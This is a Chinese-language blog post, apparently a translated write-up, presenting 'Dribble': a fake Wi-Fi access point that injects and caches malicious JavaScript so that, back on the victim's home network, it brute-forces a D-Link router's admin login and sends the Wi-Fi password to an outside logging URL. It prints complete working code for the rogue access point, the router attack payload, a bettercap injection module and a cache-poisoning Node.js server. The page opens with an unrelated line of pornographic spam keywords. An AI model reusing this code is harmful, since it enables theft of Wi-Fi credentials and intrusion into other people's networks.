欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

利用JavaScript緩存遠(yuǎn)程竊取Wi-Fi密碼的思路詳解

 更新時(shí)間:2018年11月05日 16:31:44   投稿:mrr  
這篇文章主要介紹了利用JavaScript緩存遠(yuǎn)程竊取Wi-Fi密碼的方法,本文通過實(shí)例代碼相結(jié)合的形式給大家介紹的非常詳細(xì),具有一定的參考借鑒價(jià)值,需要的朋友可以參考下


我一直想在這個(gè)小項(xiàng)目上花一些時(shí)間做一些研究,但是由于生活所迫讓我總是一直繁忙。現(xiàn)在我終于可以抽出一些時(shí)間了繼續(xù)研究這種攻擊技術(shù)了,我將在本文中闡述我的研究成果。

很久以前,我學(xué)習(xí)了Vivek Ramachandran講解的“無線局域網(wǎng)安全Megaprimer課程”(課程非常好,強(qiáng)烈推薦),順便說一下,在我做旅行的時(shí)候,我住的那些不同的酒店都會(huì)提供Wi-Fi。毋庸置疑,我的大腦開始變得瘋狂,因此我一直在思考獲取Wi-Fi密碼的“非常規(guī)”的方法。

Can't turn my brain off, you know.
It's me.
We go into some place,
and all I can do is see the angles.
– Danny Ocean (Ocean's Twelve)

我即將描述的想法非常簡單,可能也不是什么新的思路了。盡管如此,對我來說這是一種有趣的方式,讓我將放在架子上一直吃灰的Raspberry Pi重新用了起來。

思路描述

我們的想法是利用網(wǎng)絡(luò)瀏覽器的緩存來竊取Wi-Fi密碼。因?yàn)槲倚枰獮轫?xiàng)目起一個(gè)名字,所以我在開發(fā)完這個(gè)項(xiàng)目后將其命名為“Dribble”:-)。Dribble 會(huì)創(chuàng)建一個(gè)虛假的Wi-Fi接入點(diǎn),并等待客戶端連接它。當(dāng)客戶端連接時(shí),dribble會(huì)攔截對JavaScript頁面執(zhí)行的每個(gè)HTTP請求,并在響應(yīng)中注入惡意JavaScript代碼。新響應(yīng)的HTTP頭也會(huì)被更改,以便惡意的JavaScript代碼被緩存并強(qiáng)制在瀏覽器中保留。當(dāng)客戶端與虛假接入點(diǎn)斷開連接并重新連接到家庭路由器時(shí),惡意JavaScript代碼將激活,從路由器竊取Wi-Fi密碼并將密碼發(fā)送給攻擊者。 很簡單,對吧?

為了達(dá)到這個(gè)攻擊目的,我必須弄清楚這三件事:

如何創(chuàng)建虛假接入點(diǎn)

  • 1.如何強(qiáng)迫人們連接到這個(gè)偽造的熱點(diǎn)
  • 2.惡意的JavaScript代碼應(yīng)如何從路由器竊取密碼
  • 3.如何創(chuàng)建虛假的無線接入點(diǎn)

這非常簡單,偽造的方法也包含在無線局域網(wǎng)安全Megaprimer課程中,并且有許多不同的github存儲(chǔ)庫和gist上的代碼可以用來創(chuàng)建一個(gè)虛假的訪問點(diǎn)。因此,我不會(huì)過多地描述細(xì)節(jié),但為了完整起見,讓我們討論一下我使用的方法。我之前使用 hostapd 創(chuàng)建過Wi-Fi接入點(diǎn),dnsmasq 作為DHCP服務(wù)器和DNS中繼服務(wù)器,并使用 iptables 創(chuàng)建NAT網(wǎng)絡(luò)。下面的bash腳本將創(chuàng)建一個(gè)非常簡單的不受任何密碼保護(hù)的Wi-Fi訪問點(diǎn)。我在代碼中添加了一些注釋,希望能提高可讀性。

#!/bin/bash
# the internet interface
internet=eth0
# the wifi interface
phy=wlan0
# The ESSID
essid="TEST"
# bring interfaces up
ip link set dev $internet up
ip link set dev $phy up
##################
# DNSMASQ
##################
echo "
interface=$phy
bind-interfaces
# Set default gateway
dhcp-option=3,10.0.0.1
# Set DNS servers to announce
dhcp-option=6,10.0.0.1
dhcp-range=10.0.0.2,10.0.0.10,12h
no-hosts
no-resolv
log-queries
log-facility=/var/log/dnsmasq.log
# Upstream DNS server
server=8.8.8.8
server=8.8.4.4
" > tmp-dnsmasq.conf
# start dnsmasq which provides DNS relaying service
dnsmasq --conf-file=tmp-dnsmasq.conf
##################
# IPTABLES
##################
# Enable Internet connection sharing
# configuring ip forwarding
echo '1' > /proc/sys/net/ipv4/ip_forward
# configuring NAT
iptables -A FORWARD -i $internet -o $phy -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A FORWARD -i $phy -o $internet -j ACCEPT
iptables -t nat -A POSTROUTING -o $internet -j MASQUERADE
##################
# HOSTAPD
##################
echo "ctrl_interface=/var/run/hostapd
interface=$phy
# ESSID
ssid=$essid
driver=nl80211
auth_algs=3
channel=11
hw_mode=g
# all mac addresses allowed
macaddr_acl=0
wmm_enabled=0" > tmp-hotspot.conf
# Start hostapd in screen hostapd
echo "Start hostapd in screen hostapd"
screen -dmS hostapd hostapd tmp-hotspot.conf

如何強(qiáng)迫人們連接到偽造的熱點(diǎn)

免責(zé)聲明:由于各種原因,我故意將本節(jié)的內(nèi)容留在高級別的描述中而沒有提供任何代碼。但是,如果我的方法能得到足夠多的關(guān)注并且確實(shí)有人對此感興趣,我可能會(huì)進(jìn)行更深入的討論,或許會(huì)提供一些代碼和實(shí)踐指南。



根據(jù)你的目標(biāo),可能有不同的方法嘗試讓某人連接到虛擬接入點(diǎn)。我們來討論兩種情況:

在這種情況下,目標(biāo)連接到受密碼保護(hù)的Wi-Fi,可能是攻擊者試圖訪問的受密碼保護(hù)的Wi-Fi。在這種情況下,有幾件事情要進(jìn)行嘗試,但首先讓我討論有關(guān)Wi-Fi是如何工作的內(nèi)容。深受大家喜愛的802.11標(biāo)準(zhǔn)有許多有趣的功能,其中有一個(gè)我發(fā)現(xiàn)…非常有趣。802.11定義了一個(gè)特殊的數(shù)據(jù)包,無論是加密,密碼,基礎(chǔ)設(shè)施或任何內(nèi)容,如果把這個(gè)數(shù)據(jù)包發(fā)送到客戶端則只會(huì)斷開該客戶端與接入點(diǎn)的連接。如果你發(fā)送一次,客戶端將斷開連接并立即重新連接,用戶甚至不會(huì)注意到發(fā)生了什么。但是,如果你繼續(xù)發(fā)送這種數(shù)據(jù)包,客戶端最終會(huì)放棄重新連接,也就是說,你實(shí)際上可以阻塞Wi-Fi連接,用戶可能會(huì)注意到他沒有連接到接入點(diǎn)。通過濫用此特性,你可以簡單地強(qiáng)制客戶端斷開與其連接的合法訪問點(diǎn)的網(wǎng)絡(luò)連接?;谶@一點(diǎn),可以做兩件事:

1.攻擊者可以使用與目標(biāo)連接的訪問點(diǎn)相同的ESSID創(chuàng)建虛假訪問點(diǎn),但沒有密碼。在這種情況下,攻擊者應(yīng)該希望一旦用戶意識到他沒有連接到接入點(diǎn),他就會(huì)嘗試再次手動(dòng)連接。因此,目標(biāo)將找到具有相同ESSID的兩個(gè)網(wǎng)絡(luò),需要密碼的那個(gè)會(huì)有“鎖”的圖標(biāo),而另一個(gè)不需要密碼的則沒有這個(gè)圖標(biāo)。用戶可能首先嘗試連接到帶有“鎖”圖標(biāo)的那個(gè),但這不會(huì)起作用,因?yàn)楣粽咭呀?jīng)干擾用戶連接到這個(gè)熱點(diǎn)了,并且可能他也可能嘗試沒有“鎖”圖標(biāo)的那個(gè)…畢竟它具有相同的名稱他非常想要連上網(wǎng)絡(luò)……對嗎?

2.另一個(gè)有趣的行為也可以用來強(qiáng)迫用戶連接虛假的熱點(diǎn),無論何時(shí),如果客戶端沒有連接到接入點(diǎn),那么客戶端都會(huì)不斷的發(fā)送尋找先前已知的ESSID的信標(biāo)數(shù)據(jù)包。如果目標(biāo)已連接到未受密碼保護(hù)的接入點(diǎn),并且可能是用戶自己的行為,則攻擊者可以簡單地創(chuàng)建一個(gè)虛假接入點(diǎn),與目標(biāo)訪問的未受保護(hù)接入點(diǎn)的ESSID相同即可。因此,客戶端將會(huì)愉快地連接到虛假接入點(diǎn)。

在這種情況下,目標(biāo)沒有連接到任何Wi-Fi接入點(diǎn),可能是因?yàn)槟繕?biāo)是智能手機(jī)而且目標(biāo)用戶正在街上行走。但是,有可能Wi-Fi網(wǎng)卡仍處于打開狀態(tài)且設(shè)備仍在尋找已知的Wi-Fi ESSID。再次,如前所述,目標(biāo)可能已連接到某個(gè)未受密碼保護(hù)的Wi-Fi接入點(diǎn)。因此,攻擊者可以使用目標(biāo)已連接過的接入點(diǎn)的ESSID來創(chuàng)建虛假接入點(diǎn),就像之前那樣,Wi-Fi客戶端將愉快地連接到虛假接入點(diǎn)。

創(chuàng)建并注入惡意載荷

現(xiàn)在我要說的是一個(gè)“略新”的思路(至少對我而言):弄清楚惡意JavaScript代碼應(yīng)該如何訪問路由器并竊取Wi-Fi密碼。請記住,受害者將連接到虛擬接入點(diǎn),這顯然給了攻擊者一些機(jī)會(huì),但仍有一些事情需要考慮清楚。

作為攻擊測試的目標(biāo)路由器,我使用了家用Wi-Fi路由器,特別是我的ISP免費(fèi)提供的D-Link DVA-5592。不幸的是,目前我還沒有其他可以測試的設(shè)備,所以我必須用它做好準(zhǔn)備。

我們現(xiàn)在討論的是惡意JavaScript代碼。我們的目標(biāo)是讓這些惡意代碼對路由器執(zhí)行請求,這意味著它必須對本地IP地址執(zhí)行請求。說到這里,你應(yīng)該已經(jīng)想到了諸如Same-Origin-Policy和X-Frame-Option之類的關(guān)鍵字。

同源-策略

讓我借用MDN網(wǎng)絡(luò)文檔中的定義:

同源策略是一種關(guān)鍵的安全機(jī)制,它限制了從一個(gè)源加載的文檔或腳本與來自另一個(gè)源的資源交互。它有助于隔離潛在的惡意文檔,減少可能的攻擊媒介。https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy
換句話說:如果域A包含JavaScript代碼,則該JavaScript代碼只能訪問域A中的信息或域A的子域。它無法訪問域B中的信息。

X-Frame-Option

讓我再次從MDN Web文檔中借用這個(gè)字段的定義:

X-Frame-Option 是一個(gè)HTTP響應(yīng)頭可用于指示瀏覽器是否應(yīng)該允許在<frame>,<iframe>或<object>中渲染頁面。站點(diǎn)可以通過這種機(jī)制確保其內(nèi)容未嵌入到其他站點(diǎn),并且可以使用此功能來避免點(diǎn)擊劫持攻擊。

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options

這非常簡單:X-Frame-Options 可用于防止頁面在iframe標(biāo)簽中加載。

那么讓我們看看我們請求D-Link登錄頁面后得到的響應(yīng):

HTTP/1.1 200 OK
Date: Wed, 24 Oct 2018 16:20:21 UTC
Server: HTTP Server
X-Frame-Options: DENY
Connection: Keep-Alive
Keep-Alive: timeout=15, max=15
Last-Modified: Thu, 23 Aug 2018 08:59:55 UTC
Cache-Control: must-revalidate, private
Expires: -1
Content-Language: en
Content-Type: text/html
Content-Length: 182
<html><head>
<meta http-equiv="cache-control" content="no-cache">
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="refresh" content="0;url=/ui/status">
</head></html>

響應(yīng)包含X-Frame-Options并設(shè)置為了DENY(感謝上帝),這意味著如果我不能通過在iframe標(biāo)簽中渲染路由器主頁。此外,由于惡意JavaScript代碼將被注入到與路由器不同的域中,因此Same-Origin-Policy將阻止與路由器本身的任何交互。對于這些問題,我提出我所想到的一個(gè)簡單的解決方案,不過注意我的方法可能不是唯一的解決方案,思路如下:

注入兩段不同的JavaScript代碼。第一段JavaScript代碼將iframe在受感染的頁面中添加內(nèi)容。將iframe的src參數(shù)指向路由器的IP地址。如前所述,路由器的IP地址X-Frame-Options設(shè)置為DENY。因此iframe將無法加載路由器的頁面。但是,當(dāng)創(chuàng)建iframe的JavaScript代碼執(zhí)行時(shí),受害者仍然連接的是虛假訪問點(diǎn)(還記得我前面提到的優(yōu)勢點(diǎn)嗎?)。這意味著對路由器IP地址的請求將由虛假接入點(diǎn)處理……多么方便。因此,虛假接入點(diǎn)可以攔截對路由器IP地址執(zhí)行的任何請求,并通過以下網(wǎng)頁進(jìn)行響應(yīng):

1.包含第二段JavaScript代碼,這段代碼將真正執(zhí)行對真實(shí)路由器的請求
2.響應(yīng)中沒有X-Frame-Options HTTP 頭
3.響應(yīng)中包括用于緩存頁面的HTTP頭。

由于虛假接入點(diǎn)被當(dāng)成了合法的路由器,因此瀏覽器將緩存一個(gè)頁面,該域名是路由器的IP地址,從而繞過了Same-Origin-Policy和X-Frame-Options。最后,一旦受感染的客戶端回到家連接到家庭路由器時(shí):

1.第一個(gè)JavaScript代碼將添加一個(gè)iframe指向路由器的IP地址,
2.在iframe中會(huì)加載已緩存的包含了第二段惡意的JavaScript路由器主頁
3.第二段惡意JavaScript會(huì)被執(zhí)行并攻擊路由器。

第一段惡意JavaScript非常簡單,它只需附加一個(gè)iframe。第二段惡意JavaScript有點(diǎn)棘手,因?yàn)樗仨殘?zhí)行多個(gè)HTTP請求來強(qiáng)制登錄,然后訪問包含Wi-Fi密碼的頁面并將密碼發(fā)送給攻擊者。在我測試D-Link時(shí),登錄請求如下所示:

POST /ui/login HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:63.0) Gecko/20100101 Firefox/63.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.1/ui/login
Content-Type: application/x-www-form-urlencoded
Content-Length: 141
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
userName=admin&language=IT&login=Login&userPwd=e8864[REDACTED]6df0c1bf8&nonce=558675225&code1=nwdeLUh

這里的重要參數(shù)是:

1.userName這是admin(令人震驚);
2.userPwd 看起來是加密的;
3.nonce 這肯定與加密密碼有關(guān)。

查看登錄頁面的源代碼,我立即注意到了這一點(diǎn):

document.form.userPwd.value = CryptoJS.HmacSHA256(document.form.origUserPwd.value, document.form.nonce.value);

這意味著登錄需要CryptoJS庫并從document.form.nonce.value中獲取nonce 。有了這些信息,我可以輕松地創(chuàng)建一段小的JavaScript代碼,這段代碼會(huì)用一批用戶名和密碼嘗試爆破用戶名和密碼然后登錄后臺。

進(jìn)入路由器后,我需要尋找包含Wi-Fi密碼的頁面。D-Link DVA-5592中的當(dāng)前固件會(huì)在用戶登錄到儀表板頁面后立即以明文顯示W(wǎng)i-Fi密碼(哦,我的天吶)。

此時(shí)我需要做的就是訪問頁面的HTML源碼,獲取Wi-Fi密碼并將其發(fā)送到某個(gè)地方進(jìn)行保存?,F(xiàn)在讓我們深入研究為D-Link量身定制的JavaScript惡意代碼。

// this is CryptoJS, a bit annoying to have it here
var CryptoJS=function(h,i){var e={},f=e.lib={},l=f.Base=function(){function a(){}return{extend:function(j){a.prototype=this;var d=new a;j&&d.mixIn(j);d.$super=this;return d},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var d in a)a.hasOwnProperty(d)&&(this[d]=a[d]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.$super.extend(this)}}}(),k=f.WordArray=l.extend({init:function(a,j){a=
this.words=a||[];this.sigBytes=j!=i?j:4*a.length},toString:function(a){return(a||m).stringify(this)},concat:function(a){var j=this.words,d=a.words,c=this.sigBytes,a=a.sigBytes;this.clamp();if(c%4)for(var b=0;b<a;b++)j[c+b>>>2]|=(d[b>>>2]>>>24-8*(b%4)&255)<<24-8*((c+b)%4);else if(65535<d.length)for(b=0;b<a;b+=4)j[c+b>>>2]=d[b>>>2];else j.push.apply(j,d);this.sigBytes+=a;return this},clamp:function(){var a=this.words,b=this.sigBytes;a[b>>>2]&=4294967295<<32-8*(b%4);a.length=h.ceil(b/4)},clone:function(){var a=
l.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var b=[],d=0;d<a;d+=4)b.push(4294967296*h.random()|0);return k.create(b,a)}}),o=e.enc={},m=o.Hex={stringify:function(a){for(var b=a.words,a=a.sigBytes,d=[],c=0;c<a;c++){var e=b[c>>>2]>>>24-8*(c%4)&255;d.push((e>>>4).toString(16));d.push((e&15).toString(16))}return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c+=2)d[c>>>3]|=parseInt(a.substr(c,2),16)<<24-4*(c%8);return k.create(d,b/2)}},q=o.Latin1={stringify:function(a){for(var b=
a.words,a=a.sigBytes,d=[],c=0;c<a;c++)d.push(String.fromCharCode(b[c>>>2]>>>24-8*(c%4)&255));return d.join("")},parse:function(a){for(var b=a.length,d=[],c=0;c<b;c++)d[c>>>2]|=(a.charCodeAt(c)&255)<<24-8*(c%4);return k.create(d,b)}},r=o.Utf8={stringify:function(a){try{return decodeURIComponent(escape(q.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return q.parse(unescape(encodeURIComponent(a)))}},b=f.BufferedBlockAlgorithm=l.extend({reset:function(){this._data=k.create();
this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=r.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,d=b.words,c=b.sigBytes,e=this.blockSize,g=c/(4*e),g=a?h.ceil(g):h.max((g|0)-this._minBufferSize,0),a=g*e,c=h.min(4*a,c);if(a){for(var f=0;f<a;f+=e)this._doProcessBlock(d,f);f=d.splice(0,a);b.sigBytes-=c}return k.create(f,c)},clone:function(){var a=l.clone.call(this);a._data=this._data.clone();return a},_minBufferSize:0});f.Hasher=b.extend({init:function(){this.reset()},
reset:function(){b.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);this._doFinalize();return this._hash},clone:function(){var a=b.clone.call(this);a._hash=this._hash.clone();return a},blockSize:16,_createHelper:function(a){return function(b,d){return a.create(d).finalize(b)}},_createHmacHelper:function(a){return function(b,d){return g.HMAC.create(a,d).finalize(b)}}});var g=e.algo={};return e}(Math);
(function(h){var i=CryptoJS,e=i.lib,f=e.WordArray,e=e.Hasher,l=i.algo,k=[],o=[];(function(){function e(a){for(var b=h.sqrt(a),d=2;d<=b;d++)if(!(a%d))return!1;return!0}function f(a){return 4294967296*(a-(a|0))|0}for(var b=2,g=0;64>g;)e(b)&&(8>g&&(k[g]=f(h.pow(b,0.5))),o[g]=f(h.pow(b,1/3)),g++),b++})();var m=[],l=l.SHA256=e.extend({_doReset:function(){this._hash=f.create(k.slice(0))},_doProcessBlock:function(e,f){for(var b=this._hash.words,g=b[0],a=b[1],j=b[2],d=b[3],c=b[4],h=b[5],l=b[6],k=b[7],n=0;64>
n;n++){if(16>n)m[n]=e[f+n]|0;else{var i=m[n-15],p=m[n-2];m[n]=((i<<25|i>>>7)^(i<<14|i>>>18)^i>>>3)+m[n-7]+((p<<15|p>>>17)^(p<<13|p>>>19)^p>>>10)+m[n-16]}i=k+((c<<26|c>>>6)^(c<<21|c>>>11)^(c<<7|c>>>25))+(c&h^~c&l)+o[n]+m[n];p=((g<<30|g>>>2)^(g<<19|g>>>13)^(g<<10|g>>>22))+(g&a^g&j^a&j);k=l;l=h;h=c;c=d+i|0;d=j;j=a;a=g;g=i+p|0}b[0]=b[0]+g|0;b[1]=b[1]+a|0;b[2]=b[2]+j|0;b[3]=b[3]+d|0;b[4]=b[4]+c|0;b[5]=b[5]+h|0;b[6]=b[6]+l|0;b[7]=b[7]+k|0},_doFinalize:function(){var e=this._data,f=e.words,b=8*this._nDataBytes,
g=8*e.sigBytes;f[g>>>5]|=128<<24-g%32;f[(g+64>>>9<<4)+15]=b;e.sigBytes=4*f.length;this._process()}});i.SHA256=e._createHelper(l);i.HmacSHA256=e._createHmacHelper(l)})(Math);
(function(){var h=CryptoJS,i=h.enc.Utf8;h.algo.HMAC=h.lib.Base.extend({init:function(e,f){e=this._hasher=e.create();"string"==typeof f&&(f=i.parse(f));var h=e.blockSize,k=4*h;f.sigBytes>k&&(f=e.finalize(f));for(var o=this._oKey=f.clone(),m=this._iKey=f.clone(),q=o.words,r=m.words,b=0;b<h;b++)q[b]^=1549556828,r[b]^=909522486;o.sigBytes=m.sigBytes=k;this.reset()},reset:function(){var e=this._hasher;e.reset();e.update(this._iKey)},update:function(e){this._hasher.update(e);return this},finalize:function(e){var f=
this._hasher,e=f.finalize(e);f.reset();return f.finalize(this._oKey.clone().concat(e))}})})();
// check if this is a D-Link
// This is a safe check that I put so that the payload won't try to attack something
// that is not a D-Link, the check could definetly be improbed but given that I
// only have this D-Link we will have to make it due ... for now
var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://192.168.1.1/ui/login', true);
xhr.setRequestHeader("hydra","true");
xhr.onload = function () {
  if(this.response.includes("D-LINK")){
   console.log("d-link");
   dlinkStart();
  }
  };
xhr.responseType = 'text'
xhr.send(null);
// The main function that starts the attack
function dlinkStart(){
 // List of possible usernames
 var usernames = ["administrator","Administrator","admin","Admin"];
 // List of possible passwords
 var passwords = ["password","admin","1234","","pwd"];
 // the array containing usernames and passwords comination
 var combos = [];
 var i = 0;
 // combines all possibile usernames and passwords and put it into combos
 for(var i = 0; i < usernames.length; i++)
 {
   for(var j = 0; j < passwords.length; j++)
   {
   combos.push({"user":usernames[i],"pwd":passwords[j]})
   }
 }
 function dlinkAttacker(user, passwd) {
  // first request to get the nonce
  var xhr = new XMLHttpRequest();
  xhr.open('GET', 'http://192.168.1.1/ui/login', true);
  xhr.onload = function () {
  if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
     // the current username to test
     var username = user
     // the current password to test
   var pwd = passwd
     // the nonce extracted from the web page
   var nonce = xhr.response.form.nonce.value
     // the password encrypted with nonce
   var encPwd = CryptoJS.HmacSHA256(pwd, nonce)
     // let's try to log in
   var xhr2 = new XMLHttpRequest();
   xhr2.open('POST', 'http://192.168.1.1/ui/login', true);
   //Send the proper header information along with the request
   xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
   xhr2.onload = function () {
    if (this.readyState == XMLHttpRequest.DONE && this.status == 200) {
    try {
        // the comination usernamepassword was corrent, let's get the Wi-Fi password
     var wlanPsk = xhr2.response.getElementById('wlan-psk').innerHTML
        // WARNING: YOU MIGHT WANT TO CHANGE WHERE THE PASSWORD ENDS UP :-)
        var xhr3 = new XMLHttpRequest();
        xhr3.open('GET','https://rhaidiz.net/projects/dribble/dribble_logger.php?pwd'+wlanPsk);
        xhr3.send( null );
    } catch (e) {
     // Wrong password, let's try a different combination
     i++
     dlinkAttacker(combos[i].user, combos[i].pwd)
    }
    }
   }
     // the body of the login request
   var params = 'userName=' + username + '&language=IT&login=Login&userPwd=' + encPwd + '&nonce=' + nonce
   xhr2.responseType = 'document'
   xhr2.send(params);
  }
  };
  xhr.responseType = 'document'
  xhr.send(null);
 }
 // Start the attack from the first combination of usernamepassword
 dlinkAttacker(combos[i].user, combos[i].pwd)
}

嵌入這段代碼的頁面應(yīng)該緩存在客戶端的瀏覽器中,并根據(jù)路由器的IP地址發(fā)送。現(xiàn)在讓我們暫時(shí)把這些代碼放一邊,讓我們討論一下緩存這段代碼的網(wǎng)絡(luò)配置。

正如我剛才所說,上面的JavaScript代碼將緩存為來自路由器的IP地址,并將加載到由另一段JavaScript創(chuàng)建的iframe中,第一段JavaScript代碼是我在客戶端每次請求JavaScript的時(shí)候在每個(gè)頁面中注入的。要完成攔截和注入,我使用了bettercap。Bettercap允許創(chuàng)建HTTP代理模塊,可用于對HTTP代理進(jìn)行編程并告訴它如何操作。例如,可以在將響應(yīng)傳遞給客戶端之前攔截響應(yīng),并決定注入什么,何時(shí)注入以及如何注入。因此,我在JavaScript中創(chuàng)建了一個(gè)簡單的代碼,它在bettercap中加載并執(zhí)行注入。

// list of common router's IP .. which definitely requires improvement
var routers = ["192.168.1.1", "192.168.0.1"]
// this function is called when the response is 
// received and can be sent back to the client
function onResponse(req, res) {
 // inject only responses containing JavaScript
 if(res.ContentType.indexOf('application/javascript') == 0 ){
 console.log("caching");
 console.log(req.Hostname)
 var body = res.ReadBody();
 // set caching header
 res.SetHeader("Cache-Control","max-age=86400");
 res.SetHeader("Content-Type","text/html");
 res.SetHeader("Cache-Control","public, max-age=99936000");
 res.SetHeader("Expires","Wed, 2 Nov 2050 10:00:00 GMT");
 res.SetHeader("Last-Modified","Wed, 2 Nov 1988 10:00:00 GMT");
 res.SetHeader("Access-Control-Allow-Origin:","*");
 // set payload
 var payload = "document.addEventListener("DOMContentLoaded", function(event){n";
 for(var i=0; i < routers.length; i++){
  payload = payload + "var ifrm = document.createElement('iframe');nifrm.setAttribute('src', 'http://"+routers[i]+"');ifrm.style.width = '640px';ifrm.style.height = '480px';ndocument.body.appendChild(ifrm);n";
 }
 payload = payload + "});";
 res.Body = body + payload;
 }
}

有一點(diǎn)值得注意的是,上面的代碼中,JavaScript有效載荷會(huì)嘗試為routers數(shù)組中的每個(gè)IP 加載一個(gè)iframe。這是因?yàn)榧彝ヂ酚善鞯腎P可能配置有所不同。這意味著Raspberry必須響應(yīng)不同子網(wǎng)上的不同IP。為此,我只需向Raspberry的無線接口添加更多IP就行了。這樣,無論加載iframe的代碼何時(shí)執(zhí)行,都會(huì)對公共路由器的IP地址執(zhí)行請求,并且Raspberry的無線接口可以偽裝成路由器,響應(yīng)這些請求并緩存我想要的任何內(nèi)容。

最后,我需要在Raspberry上搭建一個(gè)Web服務(wù)器,它可以監(jiān)聽無線接口并緩存攻擊路由器的JavaScript代碼。我先用Nginx做了一些測試,以確保這個(gè)想法有效,但最后我選擇了Node.JS,主要是因?yàn)槲疫€沒有使用過Node.JS的HTTP服務(wù)器。

var http = require("http");
var routers = ["192.168.0.1/","192.168.1.1/","192.168.1.90/"]
var fs = require('fs');
// load the index web page
var index = fs.readFileSync("./www/index.html");
// load the JavaScript file, which might be more than one 
// when support for other router is implemented
var jsob = fs.readdirSync('./www/js');
var repobj = {}
for (var i in jsob){
 // placing a / at the beginning is a bit of a lazy move
 repobj["/"+jsob[i]] = fs.readFileSync('./www/js/' + jsob[i]);
}
var server = http.createServer(function(request, response) {
 var url = request.headers.host + request.url;
 console.log('Request: ' + url);
 console.log("REQUEST URL" + request.url);
 console.log(request.headers);
 var headers = {
  "Content-Type": "text/html",
  "Server": "dribble",
  "Cache-Control": "public, max-age=99936000",
  "Expires": "Wed, 2 Nov 2050 10:00:00 GMT",
  "Last-Modified": "Wed, 2 Nov 1988 10:00:00 GMT",
  "Access-Control-Allow-Origin": "*"
 };
 // Cache the index page
 if (routers.includes(url))
 {
  console.log("cache until the end of time");
  response.writeHead(200, headers);
  response.write(index);
  response.end();
  return;
 }
 // cache the JavaScript payload
 else if (repobj[request.url]){
  console.log("cache JS until the end of time");
  headers["Content-Type"] = "application/javascript";
  response.writeHead(200, headers);
  response.write(repobj[request.url]);
  response.end();
  return;
 }
});
// listen on port 80
server.listen(80);

讓我們測試一下效果……!

我自己已經(jīng)做了一些攻擊測試,但我想在更真實(shí)的環(huán)境中進(jìn)行測試。但是,我不能在沒有別人同意的情況下對任何人進(jìn)行攻擊嘗試,所以首先我需要一個(gè)愿意參與這個(gè)小實(shí)驗(yàn)的受害者……所以我問我的女朋友。談話是這樣的:

太好了,既然我已經(jīng)有了一個(gè)心甘情愿地決定參加這個(gè)小實(shí)驗(yàn)的受害者,那么是時(shí)候開始攻擊并引誘她的iPhone 6連接到我的虛假接入點(diǎn)了。因此,我創(chuàng)建了一個(gè)和她之前訪問過的某個(gè)WiFi一樣的ESSID的虛假接入點(diǎn),我知道她之前已經(jīng)訪問過(是的,受害者的情報(bào)也很有用,哈哈)的熱點(diǎn),很快她的iPhone連接到了我的虛擬接入點(diǎn)。

我讓她在仍然連接到虛擬接入點(diǎn)的同時(shí)瀏覽網(wǎng)頁并耐心地等待她進(jìn)入一個(gè)只支持HTTP的網(wǎng)站。

He waded out into the shallows,
and he waited there three days
and three nights,
till all manner of sea creatures
came acclimated to his presence.
And on the fourth morning, …
Mr. Gibbs (Pirates of the Caribbean: The Curse of the Black Pearl)

最后,bettercap閃爍顯示并打印出已經(jīng)注入的東西,這意味著我不需要讓她連接到我的接入點(diǎn)了。


因此,我關(guān)閉了我的接入點(diǎn),導(dǎo)致她的手機(jī)漫游到我們的家庭Wi-Fi熱點(diǎn),并且由于她仍在瀏覽該網(wǎng)站,注入的惡意JavaScript代碼已經(jīng)執(zhí)行完了,并將我家的Wi-Fi密碼直接發(fā)送到了我的PHP頁面。

總結(jié)

整個(gè)攻擊過程用到的代碼都可以在我的github上找到,這些代碼肯定還需要改進(jìn),還應(yīng)添加對新路由器的支持。如果我有機(jī)會(huì)測試其他的網(wǎng)絡(luò)設(shè)備,我將會(huì)把它們添加到Git存儲(chǔ)庫中。各位,玩得開心……

相關(guān)文章

最新評論